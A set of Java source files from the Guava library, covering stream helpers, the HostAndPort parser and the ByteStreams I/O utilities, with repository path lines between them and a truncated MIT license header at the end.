@throws NullPointerException if the last element of the stream is null */ public static OptionalLong findLast(LongStream stream) { // findLast(Stream) does some allocation, so we might as well box some more java.util.Optional<Long> boxedLast = findLast(stream.boxed()); return boxedLast.map(OptionalLong::of).orElse(OptionalLong.empty()); } /** * Returns the last element of the specified stream, or {@link OptionalDouble#empty} if the stream * is empty. * * <p>Equivalent to {@code stream.reduce((a, b) -> b)}, but may perform significantly better. This * method's runtime will be between O(log n) and O(n), performing better on <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * streams. * * @see DoubleStream#findFirst() * @throws NullPointerException if the last element of the stream is null */ public static OptionalDouble findLast(DoubleStream stream) { // findLast(Stream) does some allocation, so we might as well box some more java.util.Optional<Double> boxedLast = findLast(stream.boxed()); return boxedLast.map(OptionalDouble::of).orElse(OptionalDouble.empty()); } private Streams() {} }
google/guava
guava/src/com/google/common/collect/Streams.java
391
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.net; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import com.google.common.annotations.GwtCompatible; import com.google.common.base.CharMatcher; import com.google.common.base.Objects; import com.google.common.base.Strings; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.Immutable; import java.io.Serializable; import javax.annotation.CheckForNull; /** * An immutable representation of a host and port. * * <p>Example usage: * * <pre> * HostAndPort hp = HostAndPort.fromString("[2001:db8::1]") * .withDefaultPort(80) * .requireBracketsForIPv6(); * hp.getHost(); // returns "2001:db8::1" * hp.getPort(); // returns 80 * hp.toString(); // returns "[2001:db8::1]:80" * </pre> * * <p>Here are some examples of recognized formats: * * <ul> * <li>example.com * <li>example.com:80 * <li>192.0.2.1 * <li>192.0.2.1:80 * <li>[2001:db8::1] - {@link #getHost()} omits brackets * <li>[2001:db8::1]:80 - {@link #getHost()} omits brackets * <li>2001:db8::1 - Use {@link #requireBracketsForIPv6()} to prohibit this * </ul> * * <p>Note that this is not an exhaustive list, because these methods are only concerned with * brackets, colons, and port numbers. Full validation of the host field (if desired) is the * caller's responsibility. * * @author Paul Marks * @since 10.0 */ @Immutable @GwtCompatible @ElementTypesAreNonnullByDefault public final class HostAndPort implements Serializable { /** Magic value indicating the absence of a port number. */ private static final int NO_PORT = -1; /** Hostname, IPv4/IPv6 literal, or unvalidated nonsense. */ private final String host; /** Validated port number in the range [0..65535], or NO_PORT */ private final int port; /** True if the parsed host has colons, but no surrounding brackets. */ private final boolean hasBracketlessColons; private HostAndPort(String host, int port, boolean hasBracketlessColons) { this.host = host; this.port = port; this.hasBracketlessColons = hasBracketlessColons; } /** * Returns the portion of this {@code HostAndPort} instance that should represent the hostname or * IPv4/IPv6 literal. * * <p>A successful parse does not imply any degree of sanity in this field. For additional * validation, see the {@link HostSpecifier} class. * * @since 20.0 (since 10.0 as {@code getHostText}) */ public String getHost() { return host; } /** Return true if this instance has a defined port. */ public boolean hasPort() { return port >= 0; } /** * Get the current port number, failing if no port is defined. * * @return a validated port number, in the range [0..65535] * @throws IllegalStateException if no port is defined. You can use {@link #withDefaultPort(int)} * to prevent this from occurring. */ public int getPort() { checkState(hasPort()); return port; } /** Returns the current port number, with a default if no port is defined. */ public int getPortOrDefault(int defaultPort) { return hasPort() ? port : defaultPort; } /** * Build a HostAndPort instance from separate host and port values. * * <p>Note: Non-bracketed IPv6 literals are allowed. Use {@link #requireBracketsForIPv6()} to * prohibit these. * * @param host the host string to parse. Must not contain a port number. * @param port a port number from [0..65535] * @return if parsing was successful, a populated HostAndPort object. * @throws IllegalArgumentException if {@code host} contains a port number, or {@code port} is out * of range. */ public static HostAndPort fromParts(String host, int port) { checkArgument(isValidPort(port), "Port out of range: %s", port); HostAndPort parsedHost = fromString(host); checkArgument(!parsedHost.hasPort(), "Host has a port: %s", host); return new HostAndPort(parsedHost.host, port, parsedHost.hasBracketlessColons); } /** * Build a HostAndPort instance from a host only. * * <p>Note: Non-bracketed IPv6 literals are allowed. Use {@link #requireBracketsForIPv6()} to * prohibit these. * * @param host the host-only string to parse. Must not contain a port number. * @return if parsing was successful, a populated HostAndPort object. * @throws IllegalArgumentException if {@code host} contains a port number. * @since 17.0 */ public static HostAndPort fromHost(String host) { HostAndPort parsedHost = fromString(host); checkArgument(!parsedHost.hasPort(), "Host has a port: %s", host); return parsedHost; } /** * Split a freeform string into a host and port, without strict validation. * * <p>Note that the host-only formats will leave the port field undefined. You can use {@link * #withDefaultPort(int)} to patch in a default value. * * @param hostPortString the input string to parse. * @return if parsing was successful, a populated HostAndPort object. * @throws IllegalArgumentException if nothing meaningful could be parsed. */ @CanIgnoreReturnValue // TODO(b/219820829): consider removing public static HostAndPort fromString(String hostPortString) { checkNotNull(hostPortString); String host; String portString = null; boolean hasBracketlessColons = false; if (hostPortString.startsWith("[")) { String[] hostAndPort = getHostAndPortFromBracketedHost(hostPortString); host = hostAndPort[0]; portString = hostAndPort[1]; } else { int colonPos = hostPortString.indexOf(':'); if (colonPos >= 0 && hostPortString.indexOf(':', colonPos + 1) == -1) { // Exactly 1 colon. Split into host:port. host = hostPortString.substring(0, colonPos); portString = hostPortString.substring(colonPos + 1); } else { // 0 or 2+ colons. Bare hostname or IPv6 literal. host = hostPortString; hasBracketlessColons = (colonPos >= 0); } } int port = NO_PORT; if (!Strings.isNullOrEmpty(portString)) { // Try to parse the whole port string as a number. // JDK7 accepts leading plus signs. We don't want to. checkArgument( !portString.startsWith("+") && CharMatcher.ascii().matchesAllOf(portString), "Unparseable port number: %s", hostPortString); try { port = Integer.parseInt(portString); } catch (NumberFormatException e) { throw new IllegalArgumentException("Unparseable port number: " + hostPortString); } checkArgument(isValidPort(port), "Port number out of range: %s", hostPortString); } return new HostAndPort(host, port, hasBracketlessColons); } /** * Parses a bracketed host-port string, throwing IllegalArgumentException if parsing fails. * * @param hostPortString the full bracketed host-port specification. Port might not be specified. * @return an array with 2 strings: host and port, in that order. * @throws IllegalArgumentException if parsing the bracketed host-port string fails. */ private static String[] getHostAndPortFromBracketedHost(String hostPortString) { checkArgument( hostPortString.charAt(0) == '[', "Bracketed host-port string must start with a bracket: %s", hostPortString); int colonIndex = hostPortString.indexOf(':'); int closeBracketIndex = hostPortString.lastIndexOf(']'); checkArgument( colonIndex > -1 && closeBracketIndex > colonIndex, "Invalid bracketed host/port: %s", hostPortString); String host = hostPortString.substring(1, closeBracketIndex); if (closeBracketIndex + 1 == hostPortString.length()) { return new String[] {host, ""}; } else { checkArgument( hostPortString.charAt(closeBracketIndex + 1) == ':', "Only a colon may follow a close bracket: %s", hostPortString); for (int i = closeBracketIndex + 2; i < hostPortString.length(); ++i) { checkArgument( Character.isDigit(hostPortString.charAt(i)), "Port must be numeric: %s", hostPortString); } return new String[] {host, hostPortString.substring(closeBracketIndex + 2)}; } } /** * Provide a default port if the parsed string contained only a host. * * <p>You can chain this after {@link #fromString(String)} to include a port in case the port was * omitted from the input string. If a port was already provided, then this method is a no-op. * * @param defaultPort a port number, from [0..65535] * @return a HostAndPort instance, guaranteed to have a defined port. */ public HostAndPort withDefaultPort(int defaultPort) { checkArgument(isValidPort(defaultPort)); if (hasPort()) { return this; } return new HostAndPort(host, defaultPort, hasBracketlessColons); } /** * Generate an error if the host might be a non-bracketed IPv6 literal. * * <p>URI formatting requires that IPv6 literals be surrounded by brackets, like "[2001:db8::1]". * Chain this call after {@link #fromString(String)} to increase the strictness of the parser, and * disallow IPv6 literals that don't contain these brackets. * * <p>Note that this parser identifies IPv6 literals solely based on the presence of a colon. To * perform actual validation of IP addresses, see the {@link InetAddresses#forString(String)} * method. * * @return {@code this}, to enable chaining of calls. * @throws IllegalArgumentException if bracketless IPv6 is detected. */ @CanIgnoreReturnValue public HostAndPort requireBracketsForIPv6() { checkArgument(!hasBracketlessColons, "Possible bracketless IPv6 literal: %s", host); return this; } @Override public boolean equals(@CheckForNull Object other) { if (this == other) { return true; } if (other instanceof HostAndPort) { HostAndPort that = (HostAndPort) other; return Objects.equal(this.host, that.host) && this.port == that.port; } return false; } @Override public int hashCode() { return Objects.hashCode(host, port); } /** Rebuild the host:port string, including brackets if necessary. */ @Override public String toString() { // "[]:12345" requires 8 extra bytes. StringBuilder builder = new StringBuilder(host.length() + 8); if (host.indexOf(':') >= 0) { builder.append('[').append(host).append(']'); } else { builder.append(host); } if (hasPort()) { builder.append(':').append(port); } return builder.toString(); } /** Return true for valid port numbers. */ private static boolean isValidPort(int port) { return port >= 0 && port <= 65535; } private static final long serialVersionUID = 0; }
google/guava
android/guava/src/com/google/common/net/HostAndPort.java
392
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.io; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkPositionIndex; import static com.google.common.base.Preconditions.checkPositionIndexes; import static java.lang.Math.max; import static java.lang.Math.min; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import com.google.common.math.IntMath; import com.google.errorprone.annotations.CanIgnoreReturnValue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInput; import java.io.DataInputStream; import java.io.DataOutput; import java.io.DataOutputStream; import java.io.EOFException; import java.io.FilterInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.ReadableByteChannel; import java.nio.channels.WritableByteChannel; import java.util.ArrayDeque; import java.util.Arrays; import java.util.Queue; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Provides utility methods for working with byte arrays and I/O streams. * * @author Chris Nokleberg * @author Colin Decker * @since 1.0 */ @J2ktIncompatible @GwtIncompatible @ElementTypesAreNonnullByDefault public final class ByteStreams { private static final int BUFFER_SIZE = 8192; /** Creates a new byte array for buffering reads or writes. */ static byte[] createBuffer() { return new byte[BUFFER_SIZE]; } /** * There are three methods to implement {@link FileChannel#transferTo(long, long, * WritableByteChannel)}: * * <ol> * <li>Use sendfile(2) or equivalent. Requires that both the input channel and the output * channel have their own file descriptors. Generally this only happens when both channels * are files or sockets. This performs zero copies - the bytes never enter userspace. * <li>Use mmap(2) or equivalent. Requires that either the input channel or the output channel * have file descriptors. Bytes are copied from the file into a kernel buffer, then directly * into the other buffer (userspace). Note that if the file is very large, a naive * implementation will effectively put the whole file in memory. On many systems with paging * and virtual memory, this is not a problem - because it is mapped read-only, the kernel * can always page it to disk "for free". However, on systems where killing processes * happens all the time in normal conditions (i.e., android) the OS must make a tradeoff * between paging memory and killing other processes - so allocating a gigantic buffer and * then sequentially accessing it could result in other processes dying. This is solvable * via madvise(2), but that obviously doesn't exist in java. * <li>Ordinary copy. Kernel copies bytes into a kernel buffer, from a kernel buffer into a * userspace buffer (byte[] or ByteBuffer), then copies them from that buffer into the * destination channel. * </ol> * * This value is intended to be large enough to make the overhead of system calls negligible, * without being so large that it causes problems for systems with atypical memory management if * approaches 2 or 3 are used. */ private static final int ZERO_COPY_CHUNK_SIZE = 512 * 1024; private ByteStreams() {} /** * Copies all bytes from the input stream to the output stream. Does not close or flush either * stream. * * <p><b>Java 9 users and later:</b> this method should be treated as deprecated; use the * equivalent {@link InputStream#transferTo} method instead. * * @param from the input stream to read from * @param to the output stream to write to * @return the number of bytes copied * @throws IOException if an I/O error occurs */ @CanIgnoreReturnValue public static long copy(InputStream from, OutputStream to) throws IOException { checkNotNull(from); checkNotNull(to); byte[] buf = createBuffer(); long total = 0; while (true) { int r = from.read(buf); if (r == -1) { break; } to.write(buf, 0, r); total += r; } return total; } /** * Copies all bytes from the readable channel to the writable channel. Does not close or flush * either channel. * * @param from the readable channel to read from * @param to the writable channel to write to * @return the number of bytes copied * @throws IOException if an I/O error occurs */ @CanIgnoreReturnValue public static long copy(ReadableByteChannel from, WritableByteChannel to) throws IOException { checkNotNull(from); checkNotNull(to); if (from instanceof FileChannel) { FileChannel sourceChannel = (FileChannel) from; long oldPosition = sourceChannel.position(); long position = oldPosition; long copied; do { copied = sourceChannel.transferTo(position, ZERO_COPY_CHUNK_SIZE, to); position += copied; sourceChannel.position(position); } while (copied > 0 || position < sourceChannel.size()); return position - oldPosition; } ByteBuffer buf = ByteBuffer.wrap(createBuffer()); long total = 0; while (from.read(buf) != -1) { Java8Compatibility.flip(buf); while (buf.hasRemaining()) { total += to.write(buf); } Java8Compatibility.clear(buf); } return total; } /** Max array length on JVM. */ private static final int MAX_ARRAY_LEN = Integer.MAX_VALUE - 8; /** Large enough to never need to expand, given the geometric progression of buffer sizes. */ private static final int TO_BYTE_ARRAY_DEQUE_SIZE = 20; /** * Returns a byte array containing the bytes from the buffers already in {@code bufs} (which have * a total combined length of {@code totalLen} bytes) followed by all bytes remaining in the given * input stream. */ private static byte[] toByteArrayInternal(InputStream in, Queue<byte[]> bufs, int totalLen) throws IOException { // Roughly size to match what has been read already. Some file systems, such as procfs, return 0 // as their length. These files are very small, so it's wasteful to allocate an 8KB buffer. int initialBufferSize = min(BUFFER_SIZE, max(128, Integer.highestOneBit(totalLen) * 2)); // Starting with an 8k buffer, double the size of each successive buffer. Smaller buffers // quadruple in size until they reach 8k, to minimize the number of small reads for longer // streams. Buffers are retained in a deque so that there's no copying between buffers while // reading and so all of the bytes in each new allocated buffer are available for reading from // the stream. for (int bufSize = initialBufferSize; totalLen < MAX_ARRAY_LEN; bufSize = IntMath.saturatedMultiply(bufSize, bufSize < 4096 ? 4 : 2)) { byte[] buf = new byte[min(bufSize, MAX_ARRAY_LEN - totalLen)]; bufs.add(buf); int off = 0; while (off < buf.length) { // always OK to fill buf; its size plus the rest of bufs is never more than MAX_ARRAY_LEN int r = in.read(buf, off, buf.length - off); if (r == -1) { return combineBuffers(bufs, totalLen); } off += r; totalLen += r; } } // read MAX_ARRAY_LEN bytes without seeing end of stream if (in.read() == -1) { // oh, there's the end of the stream return combineBuffers(bufs, MAX_ARRAY_LEN); } else { throw new OutOfMemoryError("input is too large to fit in a byte array"); } } private static byte[] combineBuffers(Queue<byte[]> bufs, int totalLen) { if (bufs.isEmpty()) { return new byte[0]; } byte[] result = bufs.remove(); if (result.length == totalLen) { return result; } int remaining = totalLen - result.length; result = Arrays.copyOf(result, totalLen); while (remaining > 0) { byte[] buf = bufs.remove(); int bytesToCopy = min(remaining, buf.length); int resultOffset = totalLen - remaining; System.arraycopy(buf, 0, result, resultOffset, bytesToCopy); remaining -= bytesToCopy; } return result; } /** * Reads all bytes from an input stream into a byte array. Does not close the stream. * * <p><b>Java 9+ users:</b> use {@code in#readAllBytes()} instead. * * @param in the input stream to read from * @return a byte array containing all the bytes from the stream * @throws IOException if an I/O error occurs */ public static byte[] toByteArray(InputStream in) throws IOException { checkNotNull(in); return toByteArrayInternal(in, new ArrayDeque<byte[]>(TO_BYTE_ARRAY_DEQUE_SIZE), 0); } /** * Reads all bytes from an input stream into a byte array. The given expected size is used to * create an initial byte array, but if the actual number of bytes read from the stream differs, * the correct result will be returned anyway. */ static byte[] toByteArray(InputStream in, long expectedSize) throws IOException { checkArgument(expectedSize >= 0, "expectedSize (%s) must be non-negative", expectedSize); if (expectedSize > MAX_ARRAY_LEN) { throw new OutOfMemoryError(expectedSize + " bytes is too large to fit in a byte array"); } byte[] bytes = new byte[(int) expectedSize]; int remaining = (int) expectedSize; while (remaining > 0) { int off = (int) expectedSize - remaining; int read = in.read(bytes, off, remaining); if (read == -1) { // end of stream before reading expectedSize bytes // just return the bytes read so far return Arrays.copyOf(bytes, off); } remaining -= read; } // bytes is now full int b = in.read(); if (b == -1) { return bytes; } // the stream was longer, so read the rest normally Queue<byte[]> bufs = new ArrayDeque<>(TO_BYTE_ARRAY_DEQUE_SIZE + 2); bufs.add(bytes); bufs.add(new byte[] {(byte) b}); return toByteArrayInternal(in, bufs, bytes.length + 1); } /** * Reads and discards data from the given {@code InputStream} until the end of the stream is * reached. Returns the total number of bytes read. Does not close the stream. * * @since 20.0 */ @CanIgnoreReturnValue public static long exhaust(InputStream in) throws IOException { long total = 0; long read; byte[] buf = createBuffer(); while ((read = in.read(buf)) != -1) { total += read; } return total; } /** * Returns a new {@link ByteArrayDataInput} instance to read from the {@code bytes} array from the * beginning. */ public static ByteArrayDataInput newDataInput(byte[] bytes) { return newDataInput(new ByteArrayInputStream(bytes)); } /** * Returns a new {@link ByteArrayDataInput} instance to read from the {@code bytes} array, * starting at the given position. * * @throws IndexOutOfBoundsException if {@code start} is negative or greater than the length of * the array */ public static ByteArrayDataInput newDataInput(byte[] bytes, int start) { checkPositionIndex(start, bytes.length); return newDataInput(new ByteArrayInputStream(bytes, start, bytes.length - start)); } /** * Returns a new {@link ByteArrayDataInput} instance to read from the given {@code * ByteArrayInputStream}. The given input stream is not reset before being read from by the * returned {@code ByteArrayDataInput}. * * @since 17.0 */ public static ByteArrayDataInput newDataInput(ByteArrayInputStream byteArrayInputStream) { return new ByteArrayDataInputStream(checkNotNull(byteArrayInputStream)); } private static class ByteArrayDataInputStream implements ByteArrayDataInput { final DataInput input; ByteArrayDataInputStream(ByteArrayInputStream byteArrayInputStream) { this.input = new DataInputStream(byteArrayInputStream); } @Override public void readFully(byte b[]) { try { input.readFully(b); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public void readFully(byte b[], int off, int len) { try { input.readFully(b, off, len); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public int skipBytes(int n) { try { return input.skipBytes(n); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public boolean readBoolean() { try { return input.readBoolean(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public byte readByte() { try { return input.readByte(); } catch (EOFException e) { throw new IllegalStateException(e); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public int readUnsignedByte() { try { return input.readUnsignedByte(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public short readShort() { try { return input.readShort(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public int readUnsignedShort() { try { return input.readUnsignedShort(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public char readChar() { try { return input.readChar(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public int readInt() { try { return input.readInt(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public long readLong() { try { return input.readLong(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public float readFloat() { try { return input.readFloat(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public double readDouble() { try { return input.readDouble(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override @CheckForNull public String readLine() { try { return input.readLine(); } catch (IOException e) { throw new IllegalStateException(e); } } @Override public String readUTF() { try { return input.readUTF(); } catch (IOException e) { throw new IllegalStateException(e); } } } /** Returns a new {@link ByteArrayDataOutput} instance with a default size. */ public static ByteArrayDataOutput newDataOutput() { return newDataOutput(new ByteArrayOutputStream()); } /** * Returns a new {@link ByteArrayDataOutput} instance sized to hold {@code size} bytes before * resizing. * * @throws IllegalArgumentException if {@code size} is negative */ public static ByteArrayDataOutput newDataOutput(int size) { // When called at high frequency, boxing size generates too much garbage, // so avoid doing that if we can. if (size < 0) { throw new IllegalArgumentException(String.format("Invalid size: %s", size)); } return newDataOutput(new ByteArrayOutputStream(size)); } /** * Returns a new {@link ByteArrayDataOutput} instance which writes to the given {@code * ByteArrayOutputStream}. The given output stream is not reset before being written to by the * returned {@code ByteArrayDataOutput} and new data will be appended to any existing content. * * <p>Note that if the given output stream was not empty or is modified after the {@code * ByteArrayDataOutput} is created, the contract for {@link ByteArrayDataOutput#toByteArray} will * not be honored (the bytes returned in the byte array may not be exactly what was written via * calls to {@code ByteArrayDataOutput}). * * @since 17.0 */ public static ByteArrayDataOutput newDataOutput(ByteArrayOutputStream byteArrayOutputStream) { return new ByteArrayDataOutputStream(checkNotNull(byteArrayOutputStream)); } private static class ByteArrayDataOutputStream implements ByteArrayDataOutput { final DataOutput output; final ByteArrayOutputStream byteArrayOutputStream; ByteArrayDataOutputStream(ByteArrayOutputStream byteArrayOutputStream) { this.byteArrayOutputStream = byteArrayOutputStream; output = new DataOutputStream(byteArrayOutputStream); } @Override public void write(int b) { try { output.write(b); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void write(byte[] b) { try { output.write(b); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void write(byte[] b, int off, int len) { try { output.write(b, off, len); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeBoolean(boolean v) { try { output.writeBoolean(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeByte(int v) { try { output.writeByte(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeBytes(String s) { try { output.writeBytes(s); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeChar(int v) { try { output.writeChar(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeChars(String s) { try { output.writeChars(s); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeDouble(double v) { try { output.writeDouble(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeFloat(float v) { try { output.writeFloat(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeInt(int v) { try { output.writeInt(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeLong(long v) { try { output.writeLong(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeShort(int v) { try { output.writeShort(v); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public void writeUTF(String s) { try { output.writeUTF(s); } catch (IOException impossible) { throw new AssertionError(impossible); } } @Override public byte[] toByteArray() { return byteArrayOutputStream.toByteArray(); } } private static final OutputStream NULL_OUTPUT_STREAM = new OutputStream() { /** Discards the specified byte. */ @Override public void write(int b) {} /** Discards the specified byte array. */ @Override public void write(byte[] b) { checkNotNull(b); } /** Discards the specified byte array. */ @Override public void write(byte[] b, int off, int len) { checkNotNull(b); checkPositionIndexes(off, off + len, b.length); } @Override public String toString() { return "ByteStreams.nullOutputStream()"; } }; /** * Returns an {@link OutputStream} that simply discards written bytes. * * @since 14.0 (since 1.0 as com.google.common.io.NullOutputStream) */ public static OutputStream nullOutputStream() { return NULL_OUTPUT_STREAM; } /** * Wraps a {@link InputStream}, limiting the number of bytes which can be read. * * @param in the input stream to be wrapped * @param limit the maximum number of bytes to be read * @return a length-limited {@link InputStream} * @since 14.0 (since 1.0 as com.google.common.io.LimitInputStream) */ public static InputStream limit(InputStream in, long limit) { return new LimitedInputStream(in, limit); } private static final class LimitedInputStream extends FilterInputStream { private long left; private long mark = -1; LimitedInputStream(InputStream in, long limit) { super(in); checkNotNull(in); checkArgument(limit >= 0, "limit must be non-negative"); left = limit; } @Override public int available() throws IOException { return (int) Math.min(in.available(), left); } // it's okay to mark even if mark isn't supported, as reset won't work @Override public synchronized void mark(int readLimit) { in.mark(readLimit); mark = left; } @Override public int read() throws IOException { if (left == 0) { return -1; } int result = in.read(); if (result != -1) { --left; } return result; } @Override public int read(byte[] b, int off, int len) throws IOException { if (left == 0) { return -1; } len = (int) Math.min(len, left); int result = in.read(b, off, len); if (result != -1) { left -= result; } return result; } @Override public synchronized void reset() throws IOException { if (!in.markSupported()) { throw new IOException("Mark not supported"); } if (mark == -1) { throw new IOException("Mark not set"); } in.reset(); left = mark; } @Override public long skip(long n) throws IOException { n = Math.min(n, left); long skipped = in.skip(n); left -= skipped; return skipped; } } /** * Attempts to read enough bytes from the stream to fill the given byte array, with the same * behavior as {@link DataInput#readFully(byte[])}. Does not close the stream. * * @param in the input stream to read from. * @param b the buffer into which the data is read. * @throws EOFException if this stream reaches the end before reading all the bytes. * @throws IOException if an I/O error occurs. */ public static void readFully(InputStream in, byte[] b) throws IOException { readFully(in, b, 0, b.length); } /** * Attempts to read {@code len} bytes from the stream into the given array starting at {@code * off}, with the same behavior as {@link DataInput#readFully(byte[], int, int)}. Does not close * the stream. * * @param in the input stream to read from. * @param b the buffer into which the data is read. * @param off an int specifying the offset into the data. * @param len an int specifying the number of bytes to read. * @throws EOFException if this stream reaches the end before reading all the bytes. * @throws IOException if an I/O error occurs. */ public static void readFully(InputStream in, byte[] b, int off, int len) throws IOException { int read = read(in, b, off, len); if (read != len) { throw new EOFException( "reached end of stream after reading " + read + " bytes; " + len + " bytes expected"); } } /** * Discards {@code n} bytes of data from the input stream. This method will block until the full * amount has been skipped. Does not close the stream. * * @param in the input stream to read from * @param n the number of bytes to skip * @throws EOFException if this stream reaches the end before skipping all the bytes * @throws IOException if an I/O error occurs, or the stream does not support skipping */ public static void skipFully(InputStream in, long n) throws IOException { long skipped = skipUpTo(in, n); if (skipped < n) { throw new EOFException( "reached end of stream after skipping " + skipped + " bytes; " + n + " bytes expected"); } } /** * Discards up to {@code n} bytes of data from the input stream. This method will block until * either the full amount has been skipped or until the end of the stream is reached, whichever * happens first. Returns the total number of bytes skipped. */ static long skipUpTo(InputStream in, long n) throws IOException { long totalSkipped = 0; // A buffer is allocated if skipSafely does not skip any bytes. byte[] buf = null; while (totalSkipped < n) { long remaining = n - totalSkipped; long skipped = skipSafely(in, remaining); if (skipped == 0) { // Do a buffered read since skipSafely could return 0 repeatedly, for example if // in.available() always returns 0 (the default). int skip = (int) Math.min(remaining, BUFFER_SIZE); if (buf == null) { // Allocate a buffer bounded by the maximum size that can be requested, for // example an array of BUFFER_SIZE is unnecessary when the value of remaining // is smaller. buf = new byte[skip]; } if ((skipped = in.read(buf, 0, skip)) == -1) { // Reached EOF break; } } totalSkipped += skipped; } return totalSkipped; } /** * Attempts to skip up to {@code n} bytes from the given input stream, but not more than {@code * in.available()} bytes. This prevents {@code FileInputStream} from skipping more bytes than * actually remain in the file, something that it {@linkplain java.io.FileInputStream#skip(long) * specifies} it can do in its Javadoc despite the fact that it is violating the contract of * {@code InputStream.skip()}. */ private static long skipSafely(InputStream in, long n) throws IOException { int available = in.available(); return available == 0 ? 0 : in.skip(Math.min(available, n)); } /** * Process the bytes of the given input stream using the given processor. * * @param input the input stream to process * @param processor the object to which to pass the bytes of the stream * @return the result of the byte processor * @throws IOException if an I/O error occurs * @since 14.0 */ @CanIgnoreReturnValue // some processors won't return a useful result @ParametricNullness public static <T extends @Nullable Object> T readBytes( InputStream input, ByteProcessor<T> processor) throws IOException { checkNotNull(input); checkNotNull(processor); byte[] buf = createBuffer(); int read; do { read = input.read(buf); } while (read != -1 && processor.processBytes(buf, 0, read)); return processor.getResult(); } /** * Reads some bytes from an input stream and stores them into the buffer array {@code b}. This * method blocks until {@code len} bytes of input data have been read into the array, or end of * file is detected. The number of bytes read is returned, possibly zero. Does not close the * stream. * * <p>A caller can detect EOF if the number of bytes read is less than {@code len}. All subsequent * calls on the same stream will return zero. * * <p>If {@code b} is null, a {@code NullPointerException} is thrown. If {@code off} is negative, * or {@code len} is negative, or {@code off+len} is greater than the length of the array {@code * b}, then an {@code IndexOutOfBoundsException} is thrown. If {@code len} is zero, then no bytes * are read. Otherwise, the first byte read is stored into element {@code b[off]}, the next one * into {@code b[off+1]}, and so on. The number of bytes read is, at most, equal to {@code len}. * * @param in the input stream to read from * @param b the buffer into which the data is read * @param off an int specifying the offset into the data * @param len an int specifying the number of bytes to read * @return the number of bytes read * @throws IOException if an I/O error occurs * @throws IndexOutOfBoundsException if {@code off} is negative, if {@code len} is negative, or if * {@code off + len} is greater than {@code b.length} */ @CanIgnoreReturnValue // Sometimes you don't care how many bytes you actually read, I guess. // (You know that it's either going to read len bytes or stop at EOF.) public static int read(InputStream in, byte[] b, int off, int len) throws IOException { checkNotNull(in); checkNotNull(b); if (len < 0) { throw new IndexOutOfBoundsException(String.format("len (%s) cannot be negative", len)); } checkPositionIndexes(off, off + len, b.length); int total = 0; while (total < len) { int result = in.read(b, off + total, len - total); if (result == -1) { break; } total += result; } return total; } }
google/guava
android/guava/src/com/google/common/io/ByteStreams.java
393
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE 